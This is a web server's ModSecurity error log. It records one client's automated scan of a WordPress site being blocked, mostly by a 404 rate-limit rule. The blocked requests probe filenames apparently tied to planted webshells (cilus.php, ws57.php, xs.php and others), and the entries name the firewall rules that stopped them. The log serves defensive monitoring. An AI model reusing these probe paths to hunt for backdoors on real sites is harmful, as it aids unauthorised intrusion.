[Thu Apr 23 02:06:20.596567 2026] [:error] [pid 6344:tid 6356] [client 4.235.1.40:25745] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cilus.php"] [unique_id "aekOHEDOTF-pkQnDeUlFAQAAAAc"]
[Thu Apr 23 02:06:21.445825 2026] [:error] [pid 9085:tid 9099] [client 4.235.1.40:34379] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cilus.php"] [unique_id "aekOHd-_-or9vQnlWno_ugAAAUw"]
[Thu Apr 23 02:06:22.324814 2026] [:error] [pid 6252:tid 6320] [client 4.235.1.40:30784] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cilus.php"] [unique_id "aekOHutGYuiYb1nWBpSGEAAAAQg"]
[Thu Apr 23 02:06:23.467325 2026] [:error] [pid 6344:tid 6366] [client 4.235.1.40:46273] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aekOH0DOTF-pkQnDeUlFCQAAABE"]
[Thu Apr 23 02:06:24.284099 2026] [:error] [pid 9085:tid 9105] [client 4.235.1.40:56276] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aekOIN-_-or9vQnlWno_wwAAAVI"]
[Thu Apr 23 02:06:25.114806 2026] [:error] [pid 23776:tid 23802] [client 4.235.1.40:46299] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aekOIbRExf-1pAbSeJtlWQAAAZg"]
[Thu Apr 23 02:06:26.337122 2026] [:error] [pid 23776:tid 23787] [client 4.235.1.40:54500] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aekOIrRExf-1pAbSeJtlWwAAAYk"]
[Thu Apr 23 02:06:27.357505 2026] [:error] [pid 23776:tid 23785] [client 4.235.1.40:46277] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/doc.php"] [unique_id "aekOI7RExf-1pAbSeJtlZAAAAYc"]
[Thu Apr 23 02:06:32.882102 2026] [:error] [pid 6384:tid 6404] [client 4.235.1.40:54467] [client 4.235.1.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "aekOKD58M3t15ICeWHXaAgAAANE"]
[Thu Apr 23 02:06:39.195020 2026] [:error] [pid 6384:tid 6394] [client 4.235.1.40:61308] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/error_log.php"] [unique_id "aekOLz58M3t15ICeWHXaFQAAAMc"]
[Thu Apr 23 02:06:40.492127 2026] [:error] [pid 6250:tid 6278] [client 4.235.1.40:22836] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/error_log.php"] [unique_id "aekOMA-iZeQkqmQVfj5OmwAAAFg"]
[Thu Apr 23 02:06:42.347763 2026] [:error] [pid 9085:tid 9097] [client 4.235.1.40:36800] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/error_log.php"] [unique_id "aekOMt-_-or9vQnlWno_3AAAAUo"]
[Thu Apr 23 02:06:45.090313 2026] [:error] [pid 6384:tid 6405] [client 4.235.1.40:22790] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/error_log.php"] [unique_id "aekONT58M3t15ICeWHXaIgAAANI"]
[Thu Apr 23 02:06:46.755007 2026] [:error] [pid 9085:tid 9102] [client 4.235.1.40:63085] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mifta.php"] [unique_id "aekONt-_-or9vQnlWno_6wAAAU8"]
[Thu Apr 23 02:06:48.818287 2026] [:error] [pid 9085:tid 9094] [client 4.235.1.40:36802] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mifta.php"] [unique_id "aekOON-_-or9vQnlWno_7gAAAUc"]
[Thu Apr 23 02:06:50.245733 2026] [:error] [pid 23776:tid 23797] [client 4.235.1.40:22359] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mifta.php"] [unique_id "aekOOrRExf-1pAbSeJtlqgAAAZM"]
[Thu Apr 23 02:06:53.963411 2026] [:error] [pid 23776:tid 23797] [client 4.235.1.40:65003] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mifta.php"] [unique_id "aekOPbRExf-1pAbSeJtlugAAAZM"]
[Thu Apr 23 02:06:58.424760 2026] [:error] [pid 9085:tid 9095] [client 4.235.1.40:59430] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws57.php"] [unique_id "aekOQt-_-or9vQnlWnpAFAAAAUg"]
[Thu Apr 23 02:07:01.640766 2026] [:error] [pid 6250:tid 6267] [client 4.235.1.40:55677] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws57.php"] [unique_id "aekORQ-iZeQkqmQVfj5OpQAAAE0"]
[Thu Apr 23 02:07:03.074994 2026] [:error] [pid 6384:tid 6394] [client 4.235.1.40:28832] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws57.php"] [unique_id "aekORz58M3t15ICeWHXaXwAAAMc"]
[Thu Apr 23 02:07:03.935086 2026] [:error] [pid 6344:tid 6351] [client 4.235.1.40:24387] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws57.php"] [unique_id "aekOR0DOTF-pkQnDeUlFNAAAAAI"]
[Thu Apr 23 02:07:05.293139 2026] [:error] [pid 9085:tid 9094] [client 4.235.1.40:44356] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws86.php"] [unique_id "aekOSd-_-or9vQnlWnpANwAAAUc"]
[Thu Apr 23 02:07:06.017876 2026] [:error] [pid 6384:tid 6401] [client 4.235.1.40:64943] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws86.php"] [unique_id "aekOSj58M3t15ICeWHXaZgAAAM4"]
[Thu Apr 23 02:07:07.105007 2026] [:error] [pid 9085:tid 9111] [client 4.235.1.40:40019] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws86.php"] [unique_id "aekOS9-_-or9vQnlWnpAQAAAAVg"]
[Thu Apr 23 02:07:08.088810 2026] [:error] [pid 9085:tid 9099] [client 4.235.1.40:21305] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws86.php"] [unique_id "aekOTN-_-or9vQnlWnpARgAAAUw"]
[Thu Apr 23 02:07:09.057508 2026] [:error] [pid 9085:tid 9108] [client 4.235.1.40:35594] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aekOTd-_-or9vQnlWnpATAAAAVU"]
[Thu Apr 23 02:07:09.889860 2026] [:error] [pid 23776:tid 23798] [client 4.235.1.40:30281] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aekOTbRExf-1pAbSeJtl5wAAAZQ"]
[Thu Apr 23 02:07:10.783815 2026] [:error] [pid 6384:tid 6397] [client 4.235.1.40:21292] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aekOTj58M3t15ICeWHXabwAAAMo"]
[Thu Apr 23 02:07:12.088343 2026] [:error] [pid 6251:tid 6306] [client 4.235.1.40:27846] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aekOUCsFAzbyObL-SQ6uPQAAAJU"]
[Thu Apr 23 02:07:12.962448 2026] [:error] [pid 9085:tid 9103] [client 4.235.1.40:18653] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/packsin1.php"] [unique_id "aekOUN-_-or9vQnlWnpAUwAAAVA"]
[Thu Apr 23 02:07:14.045342 2026] [:error] [pid 23776:tid 23780] [client 4.235.1.40:35595] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/packsin1.php"] [unique_id "aekOUrRExf-1pAbSeJtl7gAAAYI"]
[Thu Apr 23 02:07:15.817437 2026] [:error] [pid 6250:tid 6271] [client 4.235.1.40:27899] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/packsin1.php"] [unique_id "aekOUw-iZeQkqmQVfj5OqQAAAFE"]
[Thu Apr 23 02:07:17.399569 2026] [:error] [pid 6344:tid 6360] [client 4.235.1.40:41838] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/packsin1.php"] [unique_id "aekOVUDOTF-pkQnDeUlFPQAAAAs"]
[Thu Apr 23 02:07:21.987029 2026] [:error] [pid 9085:tid 9097] [client 4.235.1.40:34976] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xs.php"] [unique_id "aekOWd-_-or9vQnlWnpAWQAAAUo"]
[Thu Apr 23 02:07:22.534481 2026] [:error] [pid 6344:tid 6358] [client 4.235.1.40:41848] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xs.php"] [unique_id "aekOWkDOTF-pkQnDeUlFRgAAAAk"]
[Thu Apr 23 02:07:23.807252 2026] [:error] [pid 9085:tid 9089] [client 4.235.1.40:60668] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xs.php"] [unique_id "aekOW9-_-or9vQnlWnpAXwAAAUI"]
[Thu Apr 23 02:07:24.964301 2026] [:error] [pid 6251:tid 6293] [client 4.235.1.40:19532] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xs.php"] [unique_id "aekOXCsFAzbyObL-SQ6uQQAAAIg"]
[Thu Apr 23 02:07:25.935539 2026] [:error] [pid 9085:tid 9102] [client 4.235.1.40:8302] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/img.php"] [unique_id "aekOXd-_-or9vQnlWnpAawAAAU8"]
[Thu Apr 23 02:07:26.755368 2026] [:error] [pid 9085:tid 9109] [client 4.235.1.40:19536] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/img.php"] [unique_id "aekOXt-_-or9vQnlWnpAbwAAAVY"]
[Thu Apr 23 02:07:29.089326 2026] [:error] [pid 9085:tid 9098] [client 4.235.1.40:40016] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/img.php"] [unique_id "aekOYd-_-or9vQnlWnpAfAAAAUs"]
[Thu Apr 23 02:07:30.170820 2026] [:error] [pid 23776:tid 23786] [client 4.235.1.40:58797] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/img.php"] [unique_id "aekOYrRExf-1pAbSeJtmFQAAAYg"]
[Thu Apr 23 02:07:31.344225 2026] [:error] [pid 9085:tid 9102] [client 4.235.1.40:34353] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aekOY9-_-or9vQnlWnpAgAAAAU8"]
[Thu Apr 23 02:07:33.256975 2026] [:error] [pid 9085:tid 9087] [client 4.235.1.40:35637] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aekOZd-_-or9vQnlWnpAjAAAAUA"]
[Thu Apr 23 02:07:34.794361 2026] [:error] [pid 9085:tid 9110] [client 4.235.1.40:34971] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aekOZt-_-or9vQnlWnpAkwAAAVc"]
[Thu Apr 23 02:07:35.819111 2026] [:error] [pid 6344:tid 6349] [client 4.235.1.40:18420] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aekOZ0DOTF-pkQnDeUlFVQAAAAA"]
[Thu Apr 23 02:07:37.238588 2026] [:error] [pid 6250:tid 6265] [client 4.235.1.40:34956] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/maxro.php"] [unique_id "aekOaQ-iZeQkqmQVfj5OsgAAAEs"]
[Thu Apr 23 02:07:47.837907 2026] [:error] [pid 23776:tid 23800] [client 4.235.1.40:62423] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aevly.php"] [unique_id "aekOc7RExf-1pAbSeJtmTQAAAZY"]
[Thu Apr 23 02:07:49.321822 2026] [:error] [pid 9085:tid 9099] [client 4.235.1.40:64309] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aevly.php"] [unique_id "aekOdd-_-or9vQnlWnpAvQAAAUw"]
[Thu Apr 23 02:07:51.313062 2026] [:error] [pid 9085:tid 9099] [client 4.235.1.40:58121] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aevly.php"] [unique_id "aekOd9-_-or9vQnlWnpAxwAAAUw"]
[Thu Apr 23 02:07:52.088705 2026] [:error] [pid 6344:tid 6355] [client 4.235.1.40:8633] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aevly.php"] [unique_id "aekOeEDOTF-pkQnDeUlFZgAAAAY"]
[Thu Apr 23 02:07:53.002113 2026] [:error] [pid 6252:tid 6327] [client 4.235.1.40:34327] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws68.php"] [unique_id "aekOeetGYuiYb1nWBpSGOAAAAQ8"]
[Thu Apr 23 02:07:54.313252 2026] [:error] [pid 6251:tid 6285] [client 4.235.1.40:49948] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws68.php"] [unique_id "aekOeisFAzbyObL-SQ6uSAAAAIA"]
[Thu Apr 23 02:07:55.257364 2026] [:error] [pid 6344:tid 6370] [client 4.235.1.40:33035] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws68.php"] [unique_id "aekOe0DOTF-pkQnDeUlFcwAAABU"]
[Thu Apr 23 02:07:55.903523 2026] [:error] [pid 9085:tid 9089] [client 4.235.1.40:64268] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws68.php"] [unique_id "aekOe9-_-or9vQnlWnpA3AAAAUI"]
[Thu Apr 23 02:07:56.910947 2026] [:error] [pid 23776:tid 23791] [client 4.235.1.40:34325] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp.php"] [unique_id "aekOfLRExf-1pAbSeJtmWwAAAY0"]
[Thu Apr 23 02:07:58.012782 2026] [:error] [pid 9085:tid 9090] [client 4.235.1.40:20834] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp.php"] [unique_id "aekOft-_-or9vQnlWnpA4AAAAUM"]
